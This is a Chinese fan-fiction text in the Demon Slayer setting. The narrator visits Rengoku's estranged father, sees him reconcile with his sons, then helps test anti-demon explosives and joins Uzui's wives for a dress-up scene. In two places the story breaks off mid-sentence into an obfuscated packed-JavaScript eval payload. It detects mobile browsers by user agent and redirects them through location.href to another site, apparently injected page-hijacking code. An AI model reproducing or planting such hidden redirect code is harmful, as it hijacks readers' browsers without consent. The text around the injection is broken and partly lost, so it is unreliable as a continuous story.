我们回到医院时还远没到医生查房的时间,肖恩的车没有出现在住院楼下,炭治郎他们似乎还没有回来。杏寿郎那只名为“要”的鎹鸦被遣去为炭治郎他们指路,这会儿医院里无比安静,我们站定在住院楼门口等待了会儿,时间已经远超我们想象的极限,他的神情逐渐凝重,那股许久未见的阴霾跨越过时间再次覆盖上来。 “会是遇到什么事了吗?”我小声问道。杏寿郎摇摇头,只是在感到气温逐渐降低后脱下自己的羽织披在我肩头,带有他熏染的温度的衣服宽大到可以包裹住我,牢牢抵抗住冬末依旧冻人的冷风。“明天……”他顿住话头,再开腔时是对我说的,“明天的时候我们一起去一趟吧。” 我用力点点头。有些事情无法逃避,总要有一个办法解决。 回到病房前需要路过护士站,坐在那里的护士长明明看到我们却假意转开头。我偷笑着跟着杏寿郎溜回他的病房,令人惊讶的是,病房内灯亮着。屋内不是别人,而是前几天才见过的音柱大人宇髄天元与风柱大人不死川实弥。 风柱大人面色冷酷地站在窗口凝望黑夜,而音柱大人则百无聊赖地坐在椅子上,也没个正经坐相,他们跟不熟似的一言不发,甚至看也不看对方。 听到我们打开门的动静,两人探究的视线双双飞过来。站在前面的是完好无损能跑能跳的炼狱杏寿郎,两位柱大人在看见他后表情变得很有些疑惑,似乎在奇怪前两天还受了致命伤躺着昏迷不醒的人,今天怎么就能逃离医院。 还是宇髓先生打破沉默:“你看起来有些不一样了。”他站起来,随着我们走进屋内,仔细地打量起杏寿郎。 “应该是呼吸法的缘故……最近停止使用呼吸法后,似乎感觉到身体有些特殊的变化。”关于他有些不太一样这点我最近也很有体会,但是这种变化对他而言究竟是怎样的存在,这点我也从没听杏寿郎说起过。他看起来没什么喜怒,只是轻轻蹙起眉:“不过究竟是怎么回事我现在也说不出来。” 看着宇髓先生上上下下检查杏寿郎的变化,我都没注意到风柱大人已经离开床边大步向我走来。这是我第二次见到不死川先生了,原本按照我的个性而言,不应该如此紧张。 可是不死川先生给我的压力着实不小,无论是他的表情、衣着、身上的疤痕还是说话时的语气,以及那种遍布他全身的让人总觉得皮肤刺痛的锋利感,一切都逼得我想躲到杏寿郎身后去。 可惜风柱大人没给我这个机会,他站定在距离我半米远的位置,手上举着一捧用过的空弹壳递到我面前,问道:“这个,是你们家主张研发的?还有更多吗?” 32. 缄寂 许是想着明天要拜访炼狱家的事,我昨天晚上睡得不好。 早上醒来时只记得做了一夜昏昏沉沉的梦,但是究竟梦到什么,再去回忆却毫无印象。嘉泽乐为我梳头发时我还犯着困倦,她将我黑色的长发侧编起,发尾最后自然地垂落在一边肩头。 昨天夜里回到家时外祖父还没有睡下,人年纪大了总有些例如失眠之类的通病,他静静坐在和室里,正用香气四溢的茶水润湿干燥的嘴唇。 我慢慢移步过去坐到他身旁,外祖父从不用严苛的礼仪要求我,他枯瘦的手总会轻轻在我背上拍拍,这哄孩子般的举动让我总以为自己才七八岁。 “你回来了,朝和。”他微笑着。 我亲昵地靠在他肩上告知他明天将随杏寿郎一道去炼狱家拜访。我斟酌着是否要用更合适的字词来表达,但是究竟该说些什么来定义呢,一时间我有些踌躇,这情绪让我只能再次看向外祖父。 片刻后,他接过我的话头:“那么,该为你准备一些礼物。你有什么觉得合适的吗?” 我说不上来。 外祖父什么也没问,他没问我和炼狱杏寿郎究竟是什么关系,也没问我要以怎样的身份去炼狱家拜访——我曾去过炼狱家很多次,嘉泽乐每次都会为我准备好赠礼,往往不需要特意通告,在临出门前我才会亲吻母亲的脸颊告诉她我要去炼狱先生家里了,长辈们就含笑地对我点点头,目送我离开——但现在一切都有了不同,我和炼狱杏寿郎之间隔阂的雾障几乎散尽了,况且这次去是为了拜访杏寿郎的父亲。 “我也不知道该准备什么好。”我撒娇似的摇摇外祖父的袖子,“外祖父帮我吧?” 他没有拒绝,我就追着又问道:“外祖父认识杏寿郎先生的父亲么?” 我是该做点准备,但每当我鼓起勇气想要询问杏寿郎时,对话题不合时宜的感受总笼罩着周围让我无法再多说些什么。 外祖父的嘴唇动了动,他再次端起茶杯,却没有立刻饮下茶水,而是试图在茶杯中寻找什么似的低下双眼。“槙寿郎大人啊……”等到温热的茶汤上袅袅升起的白雾几乎掩盖住他的神情了,他才再次开口:“他从前不是这样的。”这句话也很耳熟。 “每一位柱都有各自负责守卫的地区,槙寿郎大人身为炎柱,负责的正是东京地区。二十年前,我经常见到他,他身上有着炼狱一族一脉相承的乐天与热情。认识他的人都认为他不愧为炎柱,是一团永不会熄灭的火焰。” 但是大家都错了,因为谁也没想到这团火焰是会熄灭的。 外祖父放下茶杯,他不曾喝过一滴茶水,而是突兀地轻声告诫我:“已经很晚了,朝和,快去休息吧。” 我知道他没能说出的话语里藏有怎样的遗憾,当外祖父定定地凝望着外祖母的画像时,有那么一瞬间他变得距离我格外遥远,而画像中外祖母的视线或许与他正相接。很显然,杏寿郎的母亲去世后,属于炼狱槙寿郎的薪柴便燃尽了,徒留一地灰烬。 我轻声告退,动作小心翼翼,只怕打扰到外祖父的怀念。在我即将走出房间时,他忽然又叫住我,阅尽万千的那双眼凝视我的面容,浑浊的眼里唯有倒影无比清晰,“那么,等下次有空的时候,请炎柱大人到家里来做客吧。” 我当然听懂了外祖父话里藏着的意思,羞怯迅速攀爬过我的耳垂,让我只能小声嘟囔着:“知道啦!” 外祖父说得不错。打从我第一眼瞧见炼狱槙寿郎先生,满脑子就只有炎柱家一脉相承的热情与乐天。倘若从前我总难以想象杏寿郎二十年后的样子,那么现在,他往后的样子在我脑子里也就只剩下槙寿郎先生的模样作为模板。他们长得太像了,不同的只有气质。 槙寿郎先生是成熟的杏寿郎,而杏寿郎是燃烧着的槙寿郎先生。 从出门一直到汽车到达医院时,我都难掩困倦。但是杏寿郎早早等在医院门口,在他上车前我立刻坐直身体强撑起精神——呃,倘若我能掩盖下那个迟来的哈欠一切会更好——“没休息好吗?”炼狱杏寿郎一眼就看出我的症结,他体贴地伸手……穿过堆在后座上的礼物,伸手过来抚摸我的脑袋。 “这是?”他的话没问完,从包装精致的礼盒上已经看透一切,只是摇了摇头,牵起嘴唇,“不必如此费心,朝和。从礼仪上来说,应该是由我先去拜访才对。” 我当然告诉他没有关系,毕竟他还在住院观察阶段,而事情又太过突然。况且礼仪这东西天南海北差别太多,我现在也搞不清楚我家里究竟遵守着哪边的礼仪,更像是杂糅了三个国家的混合体。 至少母亲告诉我父亲第一次去家里拜访,因为过于紧张而忘了差异,按着英国的习惯直呼了外祖父的名字以示亲近时,我想这世上也就没有什么礼仪的束缚了。 车上一路都很安静,而我的困倦则像黄昏时的潮水慢慢退去。直到炼狱家终于到了,千寿郎就像他的哥哥今天做的那样早就守在门口等待,汽车还没停稳他就欣喜地跑出来。 “兄长大人!” 完好无损、活蹦乱跳、呼吸正常的杏寿郎拥抱住千寿郎,小猫头鹰眼中躲着的两滴泪消失在鬓发中。 “你没事真是太好了!”在长久的记忆中替代父母出现的正是兄长,千寿郎对杏寿郎抱有的孺慕之情或许更胜于他爱自己的父亲。我下车向他挥手示意,他害羞似的同我打过招呼后,才说道:“父亲今天没有出去……” 他的话不必说完,因为我们已经看到出现在门口的男人:炼狱槙寿郎,他穿着和服,炼狱家传承的金色头发散着,发尾火一样热烈,他面无表情地注视着我们,让人猜不出心里的想法。 杏寿郎顿了顿,出口的声音在我听来无比陌生:“父亲大人。” 我急忙向槙寿郎先生微微鞠躬致意。紧张久违地爬上我的心头。 槙寿郎先生一直一声不吭,直到我同杏寿郎一起端正地正坐在和室里,态度也不曾变化。 和室里整洁空旷,除去基本的几件家具,别无其他,干燥的阳光洒得席面上到处都是,残余只有空气寒冷的味道。我也摆出从前在礼仪课上学习过的最文静的姿态,等到杏寿郎提到我后,我才跟被开启开关似的低头自我介绍起来:“伯父贵安,冒昧拜访,希望没有打扰到您。我是有栖川朝和。” 话毕,我抬头望向槙寿郎先生,这时我才能好好打量起他。胡子乱糟糟的,和服也存有褶皱,那双赤金色的眼睛下乌黑的印痕说明他近来没有休息好。明明是那么眼熟的五官,但是落布在这张脸上时,最终组合成落拓颓废的气息扑面而来。 他的目光原本死死黏在杏寿郎身上。听见我的声音,才慢悠悠地转移到我身上。肉眼可见地,他怔了怔,带有温度的目光正扫视着我,意识到这点我攥紧衣袖,看着席面上的纹路任由思维来回穿梭地编织。 “有栖川?”他的声音比想象中的要低沉些,复述出我的姓氏后,突然话头一转,“鬼杀队现在竟然连这样弱不禁风的小女孩都招收了吗?” 啊—— 我和杏寿郎交换了视线。我并非鬼杀队的成员,虽然我相当以鬼杀队为豪,但是“加入鬼杀队”这种事真是想也不敢想。更何况,虽然没到恋柱那样肌肉紧实,但是从小一直有练习格斗的我与“弱不禁风”四个字似乎也毫无关系。 “父亲……” 我没让杏寿郎把话说完,而是直视槙寿郎先生:“我不明白。”我不明白。在他消极度日的背后,在他这句话里,蕴含的那悲观究竟源自鬼杀队还是鬼?究竟是什么让他沉溺绝望?“我虽弱小,却也有我的能力。”我太想知道了,想知道纠缠在这对父子之间逐渐畸形的情感究竟是好是坏。我相信总有一天困住他们的枷锁会被解开,以眼泪以血水,那么,为什么不能是今天呢? 炼狱槙寿郎耐人寻味地笑了下,这时候我才能在他赤金色的眼瞳中看到火焰,与杏寿郎截然不同,他眼中流动的恰似将要凝固的熔岩,时间磨砺、高温退去,残留的火浆正僵硬成遗迹。“那么,难道你能接下我的一剑吗?”他说这话时看着的是杏寿郎。 他是要考验杏寿郎什么,我却不太乐意。“有何不可?” 我毫不犹豫的回答引来炼狱家三个男人不约而同的注视,几乎是拓印出的三张相似面孔看着我时带有的神情却截然不同:千寿郎惊讶的张大了嘴——自从知道他的经历后我对他抱有十分的怜惜,他如今忐忑的性格正是被父亲的颓废造就而成,或许他从没有这样直白地面对过身为父亲的那个人;炼狱槙寿郎——呃,如果可以我真希望自己能更加打从心底尊重他,但是在这尊重到来前我却更想让他清醒些——他这会儿的表情终于不显得困倦了,随着猛然挺直的脊背,因年岁增长而逐渐狭长的双眼这会儿瞪得正圆;最熟悉我的杏寿郎却不意外,在听到我这快不符合大和传统的回答时竟只是露出一个“果然”的笑——他甚至在我用余光觑向他时肯定地冲我极小幅度地点点头——他总能看透我,我甚至觉得自己藏起的那一半灵魂也被他看得清清楚楚,无论变成什么样,都在他意料之中。 不过这一切此刻并不重要,我看着槙寿郎先生的手,那双曾经满是厚茧为剑道而生的手,后来只能握住盛满清酒的瓶子,无比平静地问道:“只不过,伯父,现在还能握得住剑吗?” 室内一片寂静,寂静无限蔓延出去,连屋外的风声都停止。 炼狱槙寿郎噔地站了起来。 与之相对的是,炼狱杏寿郎也站了起来。出乎意料地,儿子已经成长到比父亲还要高的时候,更直挺坚强的肩膀不仅承担起父亲曾经背负过的责任,甚至已经越过父亲扛起他的重担。 “不,父亲大人,该承你一剑的人该是我才对。”炼狱杏寿郎神情严肃,他早已不是曾经那个会疑惑父亲为什么变成这样的孩子了。 话到此处,不打也不行了。但是炼狱杏寿郎毕竟还在后遗症的观察期,还没能摆脱对呼吸法的不适应,而槙寿郎先生再怎么颓废,以他的经验必然也是保持着呼吸法的全集中。我担忧地出声:“可是你的身体……” “没关系,朝和。”杏寿郎伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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炼狱杏寿郎闻言收回动作,站得笔直。“是的。”他看向我,在我对他露出笑容后才目光沉沉地转向面前的父亲,没有一丝一毫的犹豫,“一直都是这样决定的。” “是吗?这样啊……”他低下头喃喃着。 在那短短的几秒钟里他究竟想到了什么?练习剑道的童年、接任炎柱的意气风发、斩杀恶鬼的无数经历、与挚爱妻子的相识相遇、完美无缺的婚后生活、天资聪颖的孩子……妻子重病不治而逝、对孩子的忽略打击、对自己的自暴自弃、对世界的毫无所谓,在那些或好或坏的情景堆叠的时候,沸腾在炼狱槙寿郎大脑里的究竟是什么? 我们到底无从得知。 可当他再次抬起头时,木剑因颤抖着的双手伶仃落地,而他满脸的泪。这位父亲迟来的悔悟已经攀升至巅峰,“杏寿郎……”嗓音干渴如困在沙漠中数日的羁旅之徒,“我是一个不称职的父亲……” 槙寿郎先生一手大力拍在杏寿郎肩头,宽厚的手掌用力地握住儿子宽厚的肩,他哽咽着,比以往任何时候都脆弱,这翻腾的情绪绵连到他嘴唇带起一阵颤抖,悲痛地看向这十数年中更苦痛的另一人:“千寿郎……”千寿郎正强忍眼泪,在父亲久违地再次叫出他的名字时终于倾泻而出,冲动无法遏制地跳下游廊跑向父兄。 他们彼此环抱,将错失的温情全都以此刻紧紧相拥的温度传递给对方。 “对不起。”槙寿郎先生不断重复着。从呱呱坠地到蹒跚学步,第一次举起木剑的孩子还没有自己一半高,然而时光荏苒,被握紧的美好那么稀少而无比弥足珍贵。没人会觉得父亲的忏悔毫无价值,这句来迟的话贯穿过多年来的伤害,但是所幸终于还是到达了。 即使是炼狱杏寿郎的眼中也同样有泪光闪过。 我不忍打破此刻,只抬眼望向天幕,用手掌掩去涌出双眼的温热。 整理好心情后,槙寿郎先生为方才的不礼貌向我道歉。我才擦尽眼泪,这会儿说话带着鼻音,着急地向他摆手表示没关系。比起炼狱家这三位钢铁男儿,谁能想到哭得最凶的竟然是我。 在杏寿郎去取历代炎柱的手札之时,我向槙寿郎先生大致讲述了无限列车一战的战况,并着重介绍了他目前的身体情况。无论如何,炼狱杏寿郎没有死去,未来依然存在无限可能。 槙寿郎先生话很少,大约还没能从习惯中走出,原本热情乐观的脸经过多年的消沉连眉毛都弯折成颓废的样子。他没有针对从前的炎柱们留下的文字说些什么,只让杏寿郎全部带走,“这本来也该是现任炎柱看的”,话是这么说的。 我们离开时,千寿郎和槙寿郎先生送我们到门口。看到父亲与兄长解开心结,千寿郎看起来开心不少,炼狱家遗留下的不可分担的压力从小就重负在他的肩上,但是他有着世界上最好的兄长,而今阴霾散去了。 摸摸千寿郎的头,杏寿郎这次没再嘱咐他什么,只是对槙寿郎先生关切道:“父亲大人,请少喝些酒。” 炼狱槙寿郎低咳了下,侧过身故作深沉,不耐烦道:“知道了,我还没老呢……” 不知道他还能不能变回杏寿郎少年时记忆中的样子,但是…… 杏寿郎走到我身侧牵起我的手。 但是啊,冬天过去后,春天一定会来的。 33. 对镜 季节转换往往是在无形之中、无声无息达成的,然而这种交替并非没有预兆,只是往往来得出乎人的意料:昨夜里还毫无动静的枝头今日早晨便颤巍巍地探出粉色的花苞,尚且料峭的寒风中温暖的气息已经悄然来到。 当我终于从家中庭院里那株染井吉野樱上找到几个藏起的花骨朵时,已经是在无限列车事件发生一个多月之后了。经过这段时间堪称艰苦卓绝的训练,炼狱杏寿郎终于在得到桥下先生出院首肯的同时成功让自己的身体彻底忘记呼吸法的运转。 是的,当他终于再次做回阳光下的普通人时,呼吸法的许可证书被重新批复了。不过,影响并不大,因为运转呼吸法时身体不知从何而来的幻痛依然持续着,且非常影响他的战斗。 受形势所迫,他依然中断着形如身体本能的呼吸法,但是在朝朝暮暮的相处中,我总有种莫名的直觉,那就是他与呼吸法以另一种形式变得更紧密了。 这一个多月里,我和杏寿郎本该将大多精力都投注在翻阅整理历代炎柱的手札上。 说实在的,炼狱家祖辈们留下的记录内容真是多得浩如烟海,第一册的记录比我想象的要更早,时间已经足以等同鬼杀队的建队历史。但是描述了对鬼追缴的文字中,详细说明了第一个鬼——鬼舞辻无惨的出现,与鬼杀队的建立,但是并未有提及有关“火之神神乐”的内容,甚至连“呼吸法”这样的概念都没有。 千年前的先人已经使用由猩猩绯砂铁和猩猩绯矿石锻造而成的日轮刀进行灭鬼,但是彼时尚未实行禁刀令,浪人剑客是当时国家的常见角色,他们行走在各个城邦之中,即使身穿统一的制服也只被认为是受雇于一个将军的武士。 杏寿郎往往在翻阅过一次之后便开始沉思,这些手札倒成了我消磨时间的“娱乐”读物。 良好的阅读习惯让我每每翻开书页便开始有意识地将内容系统整理,可惜要做的事实在太多。每天能分给手札的时间实在有限。要说一天天的究竟在忙些什么……这里就不得不提起风柱不死川先生和音柱宇髄先生。 自从那天两位联合拜访杏寿郎的病房并且向我询问那些针对鬼而研发的特制子弹后,三位柱大人都对此展现了极大的好奇心——为什么是三位,因为炼狱杏寿郎终于迟来地想起那天我用枪射击猗窝座的强势姿态——于是,次日拜访完炼狱家后,我便协同三人一起前往实验室。 武器的研发与众不同,尤其涉及火药的制作,纵然有栖川家在当今的日本有着不小的影响力,甚至偶有机会能在天皇面前说几句话,也依旧不被允许进行军工制造。与千年来得不到政府认可的鬼杀队类似,便只能藏身在更为隐秘的地方。 万幸我的外祖父实在是个聪明的生意人,他经手后有栖川家的规模便数倍增长,那么,在东京近郊有一座负责烟火制作的工厂也就不足为奇。工厂全年都为本岛的节假庆典出产各类烟花产品,有时还承接烟火大会的规划,每年创新的烟火种类甚至多次得到皇室的赞叹。 武器研发的实验室就坐落在烟火工厂内,对外的名目便是新型烟火的研创。实验室的负责人京极先生我从前说起过,与桥下先生截然不同,京极先生瘦而高,他是一个连脸上皱纹都表现出冷漠的人。 每次我提出参观时他都会用那一套“测试阶段危险性太强,而朝和小姐应该注意自己的安危”的言论毫不留情地拒绝我,但是这次,这三位柱大人才是参观的主力,他们成功站在我身前将我带进测试区。 比起今天测试的试验品,我拿到手的那种子弹完全是小儿科,引线被拖出近千百米远,操纵的拉杆就放置在我们面前。京极先生谨慎地拿出护目镜要求我戴上——对,就要求我一个人——另外三个平静地看着其他工作人员忙碌布置。 “只要拉下这个。”京极先生比画着拉杆,做出一个下拉的动作,“出于实验性质,今天进行的是定点类爆破,涉及范围会很小。”我看他只是在自谦。 我不知道他是否有着受鬼迫害的过往,又或者其实他仅仅只是喜欢爆破,而这恰好是他人生中唯一能顺理成章达成心愿的工作,总之直到京极先生邀请我去拉下拉杆,这会儿我才终于看出这位素来冷酷的负责人眼中掀起的癫狂。 我看看杏寿郎,他信任地向我点点头,我还再想看看不死川先生和宇髓先生,这两位一个比一个兴奋地直视着画出范围的爆破点,我才把手搭上拉杆,不死川先生蕴含着不耐烦的催促已经逼近:“快点。” 倘若我的思维能跑步,现在已经狂奔得胜过从前被鬼追逐的时刻了。 我拉下拉杆—— 巨大的声响嘭地炸起,杏寿郎反应极快地早早捂住我的耳朵——即使如此,我仍然感觉到鼓膜被震得嗡嗡作响,他微微侧身挡在我身前,以预防有不长眼的石块飞来。灰黄烟雾先是向上升起再逐渐散开,一种新形势的“烟火”像一棵柏树般枝叶茂盛,砂石落地的声音久久不停。 宇髓先生不由赞叹道:“太华丽了!” “非常惊人的破坏性。”烟尘过了许久才逐渐散去,视觉远超常人的三位柱已经能够看清爆破点的现状,巨石变得稀碎而尘沙漫天,这玩意儿如果应用在鬼身上,那场面不敢想象。 “我们在火药配方中按照比例加入了猩猩绯砂铁和猩猩绯矿石的粉末,还有晒干后研磨的紫藤花粉末,”京极先生太自豪了,这语气与我父亲向他的朋友们谈起我时没什么两样,“这是初次实验。因为没有办法用鬼来试验,所以暂时不能确定实际对鬼的杀伤性。” 但这种大规模的武器即使没有日轮刀砍断脖颈的百分百致命率,也能够在突袭的情况下无视对方的多种能力造成毁灭性打击。况且加入针对鬼再生的两种成分后,我想再强大的鬼也难以瞬间恢复——毕竟,耶稣被钉上十字架也会死。鬼再强大,又能挨得住几枚炸弹的轰炸呢…… “但是,”京极先生话锋一转,“子弹的配方得到全新升级。除去之前给朝和小姐试用的那种猎枪子弹,这次还尝试制作了一批空尖弹。用虫柱大人研发的紫藤花毒素替代铅灌注进子弹内腔,弹头前端预留的中空位置能保证子弹的有效射程,而且击中鬼后会加大伤口的撕裂情况,加速出血的同时将毒液混入其中。” 边上记录的实验员适时拿出装有子弹的盒子,京极先生不由自主比出了赞叹的拇指。 我还没来得及接过查看,动作迅捷到无法捕捉的不死川先生已经将之拿在手中。他冷笑了下,笑容看着有些狰狞,毫不客气道:“就让我去试用一下好了。” 所以今日我来鬼杀队本部的目的,显而易见的,也是与此有关。 子弹被不死川先生拿走时宇髓先生毫不在意,离开前,他倒是向烟火工厂订购了不少款式复杂的烟火,表示之后祭典上可以使用。并且要求京极先生在火药配方改良后把这种炸药给他一份,他和京极先生讨论了许久以爆竹的形式制作是否有可取性。 事实证明,有的。 我今天便是来给宇髓先生送爆竹型的对鬼专用武器的。据说还是双响的。点燃引线后掷出,大约三秒后就会爆炸,虽然杀伤力比起炸药要小上太多,但是与火药混合在一起的猩猩绯矿石粉末与紫藤花粉末会随之四溅。 依旧是毫无“临床数据”的一款产品,毕竟对于用刀来战斗的鬼杀队成员而言,临战前向鬼扔爆竹的场面也相当滑稽。大约拥有血鬼术的鬼恐怕也能够避开这种危险品,在实际运用中我除了偷袭暂时想不到别的方法。 每位柱各有驻守的区域,大多时候音柱也不常在东京范围,毕竟柱要承担的责任实在太大了。说句题外话,近来,在得到主公的允许后,属于炎柱的大多防卫工作都被伯父——我是说,杏寿郎的父亲承担了。他愿意出山对于鬼杀队无疑是一个好消息,对于炼狱家亦同样。 于是身体还在和呼吸法做斗争的现任炎柱大人炼狱杏寿郎也就正当赋闲,临时替代肖恩和嘉泽乐成为了我的出行陪伴及保镖。 敲响宇髓先生住处的大门时,杏寿郎正同我说起宇髓先生的身份。这也是杏寿郎第一次见到忍者,“不过三个妻子稍微多了点。”他最后这么说道。得知那位宇髓先生竟然曾经是忍者这一点比我知道他其实有三个老婆还震惊!日本竟然真的有忍者! 门无声被打开,站在面前的是一个相当高大且身材壮硕的男人,他被塞在一件宽松的藤紫色和服中,雪白的头发披散,他微抬着头,而梅紫色的双眼又向下瞥着我们。我有些怔神,不为别的,仅是为面前男人的外貌:一种任何人看到都会感叹的美丽,无关乎性别,而只是单纯的美丽。 “哦呀,”他侧身让开,但是从嘴里发出的声音却非常熟悉,“是你们啊。” “早上好,宇髓!”杏寿郎非常自然地接上招呼。 等等? 宇髓——是哪个宇髓?诧异让我几乎是失礼地瞪着面前的男人,思维对接片刻才成功将他与音柱大人画上等号。我是怎么忽略那副桀骜不驯的表情的? 虽然我一直知道他有张好看的脸,但仅仅是摘下多到简直繁复的头饰、卸下那放射状的红色眼妆、松开一贯紧扎的马尾,并且脱下合身的队服,宇髄天元就跟彻底变了个人似的。他平常到底是在怎么浪费自己的美貌啊! 杏寿郎表明来意后带着我走进去,这座居所面积不大,院内种着的樱花开得更早些,现下已经彻底盛放了,地面洒满纯白的花瓣。 “哦~这就是完成品吗?”宇髓先生接过爆竹好奇地摆弄着,他研究似的扯动引线时总让我有种下一秒他就会掏出火点燃的恐惧感。“看着真不错啊,”听起来很满意的样子。 “宇髓先生要怎么使用呢?”我问出盘旋已久的疑惑。 他耸耸肩,没有回答,只是原本凝视着爆竹的眼睛忽地下移,转向了我——奇异的梅紫色,我能联想起冬天才绽开的梅花,不同于杏寿郎的双眸,宇髓先生的注视所带来的并非是压迫感,而是一种近似于评估的审视。 他咧出一个专门用来迷惑人心的笑,声音放得缓而轻柔,惊喜一般:“有栖川家的小小姐,你来得正好!” 我有种不祥的预感。 “我的老婆们这会儿正因为装扮遇上点麻烦,”他自然地吐露目的,“可以拜托你去帮她们参谋一下吗?”他指向侧边的一个房间,房门半掩,“就在那边。” “好吧,那我就去看看有什么能帮得上的地方吧。”我说着看向杏寿郎,在看到他对我微微一笑后,向宇髓先生指出的房间走去。 之前在花街的时候,我记得自己曾经见过宇髓先生的一位妻子。那是一位梳着黑色高马尾、容貌秀丽、名为雏鹤的女性,而她身上最引人注目的该是那双紫色的眼睛,以及左眼下那一点妩媚的泪痣。 虽然当时就对宇髓先生话语中的“老婆们”感到疑惑,但是此刻真要切实面对他的三位妻子,我不禁感到心跳加速。 轻敲门后,我说着打扰了才拉开推门。我猜想过该是怎样的麻烦,更多是怀疑这只是支开我的一个借口。但是拉开推门后,屋内裙钗散落一地,三个年龄相当且都穿着干练忍者服的女性一同看向我。 除去早有过一面之缘的雏鹤女士,另外分别是一位留有黑色单马尾、但额前鬓发为金黄色的女性,她看起来自信强势;与一位有着蓝色眼睛的女性,她黑色的头发被梳起一半,尚未完全盘起,从她擦眼睛的动作来看似乎刚刚哭过。 我疑心自己是否来得不是时候。 这时雏鹤女士已经认出我并向我打起招呼:“好久不见,有栖川小姐!”她是一个温柔的大姐姐,与初次见面那次一样把我当成小朋友看待,走上前亲切地带我走进屋内。 “您就是有栖川家的小姐吗?”跨过散乱的和服布料,我坐到她们身边时,黑色长发的女性这会儿已经没有哭泣了,而是欣喜地靠近我,“最近一直有听到您的消息呢!您好,我是须磨!” 该说她的情绪变化得太快还是太过热情呢,但是我并未感到不适,她眼中闪烁的情绪是真实的喜悦,我能感受到她毫不遮掩的善意,便跟随着话题向她打起招呼。 “真是的,须磨,你不要这么突然!”那位有着金色额发的女性开口了,她摇着头,像是习惯了这种苦恼:“有栖川小姐会被你吓到。”说着,对我微微一笑:“您好,我是槙於。” 我连忙解释没关系,并且一再表示三位只需直呼我的名字就好。 宇髓先生的三位妻子性格迥然,但是生态链却一目了然。 “三位,是在做些什么呢?”我环顾着四周。地上扔着的和服相当精美,无论从印花的纹样还是衣料来看,都不像是日常会穿着的款式。 在贴近大和的生活中,我也常穿和服,但是恰如大振袖不会在寻常日子拿出衣柜,更别提十二单衣这种排场的象征,以当今年代最为流行的海老茶袴来看,此刻地上的和服款式更接近于时新的“访问和服”,款式正式,用色大胆艳丽,整幅印花精致无比,连腰间的名古屋带都因满是织金印花而略显夸张。 “之前与您初次见面是在花街,还记得吗?”雏鹤向我解释道,“当时我与天元大人和炎柱大人一起去花街探查。” 那真的是很久以前的事了,回忆起来仿佛是上辈子发生的。“难道隐藏在花街的那个鬼,一直没有处理好吗?”我问道。 槙於点点头,“之前天元大人扮成客人去查访过,但是一无所获。” 花街啊……我不知该如何形容那里。花街该是东京最繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613431|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华的不夜城,那里白天寂静而夜晚丰茂,灯红酒绿彻夜不息,罪恶与黑暗并生,既是销金窟,亦是女子的幽囚狱。我无法以赞赏或是置身事外的态度进入那里,因为此间每一声谈笑都是一个女人命运中悲惨的一笔。但是鬼却寄居在这么热闹的地方…… “或许正是因为花街只有夜里才热闹,白天的时候鬼就会更加小心地隐藏起来。”雏鹤轻叹,“所以,我们三个打算以游女的身份潜入花街,排查鬼的踪迹。” 以身犯险!我低呼出声:“那也太危险了?”花街中死去一个女子并不稀奇,或许该说每一个日夜转换中都有年轻的生命在那里凋零。作为鬼的掩护倒是恰到好处。但是藏身如此谨慎的鬼或许实力不俗,让三位女士潜入未免太…… 须磨已经哭了起来,她的泪腺相当发达,眼泪落下时连续不断。“我实在是太弱了,没办法帮上什么大忙,”她号哭着,“虽然危险,但是为了天元大人!” 槙於一掌拍在须磨身上,恨铁不成钢地指教她:“真是够了,须磨!不准说这种丧气话!”雏鹤见怪不怪地对我无奈笑着。 我急忙转移话题,指着桌上堆叠的发簪:“所以你们是在做游女的试妆吗?” 雏鹤点点头,她们平常都做忍者装扮,这原本也是她们的身份,又便于外出执行任务,偏偏这会儿要学着普通女子,尤其是游女歌妓的打扮,从各方面来说都确实有些不太好上手。我拈起一个发钗端详,不知道自己能帮上什么,毕竟我平常也都是由嘉泽乐帮忙梳头的。 早知道,今天出门就该带上她。 静谧中,落目于我的几道视线越来越难以忽略,我抬头看向围坐在身边的三位女士,她们正一眨不眨地注视着我。“咦?”我看看她们三个,又垂眸看看自己身上的衣着,并无不妥,只弯弯眼睛:“怎么了?” “啊!”须磨惊喜地拍手,表情由阴转晴,她热情地牵住我的双手,“朝和小姐!可以请你帮我们试一下妆吗?” 槙於表情一变:“等等须磨,你这样太失礼了!” 本应该代表最终立场的雏鹤女士一时间没有回答,那双引人出神的紫色眼眸眨了眨。 我—— 我其实是很擅长拒绝他人的。每当面对不情愿或是不合理的要求时,往往都会果断拒绝,并且不留任何余地。 对。 但是…… 须磨紧紧握着我的双手,纯蓝的眼波明媚而水润,我注视她的时候就会忘记自己未出口的语句,满心只希望自己能够不让她失望。 再说,帮忙试一下妆又能算什么呢?能够帮上忙才是最好的! 于是。没能拒绝三位美丽可人的女士亲切地为我解开和服更衣的动作,接下来重新梳头、化妆也就如流水般顺理成章。 这是一件以青碧色为主体的和服,以绞染的方式在振袖与裙裾染出石竹色的樱花与吉祥纹,桦色的腰带是点睛之笔,以金枝霎时衬托出整体的鲜亮。 完整穿戴好后,我下意识随着逐渐收紧的腰带挺直脊背保持正坐,然而厚重的衣裳层层叠叠,叫我无论如何都有种难以活动自如的束缚。美丽的代价尤其体现在转身时,总要一手搂住裙摆一手撑住地面。 雏鹤为我梳发。不知不觉,比起刚来日本时,我的头发已经养长许多,微卷的发尾已经逐渐变成弧度不甚明显的波纹。雏鹤没有帮我梳特别复杂的发型,比起在自己头上盘发髻,在别人——我的头上,似乎要容易得多,她的动作简洁快速,我还没能理清这一缕头发会被梳进何处,她已经为我完整地盘起发髻。 “也算是胜山髻吧。”用木梳梳过垂落的鬓角,雏鹤对着镜子里的我露齿一笑,从妆匣内取出发簪插在发髻上。以金饰和同样青碧色的花簪为主,步摇垂落下的珠链正随着雏鹤的动作微微晃动。 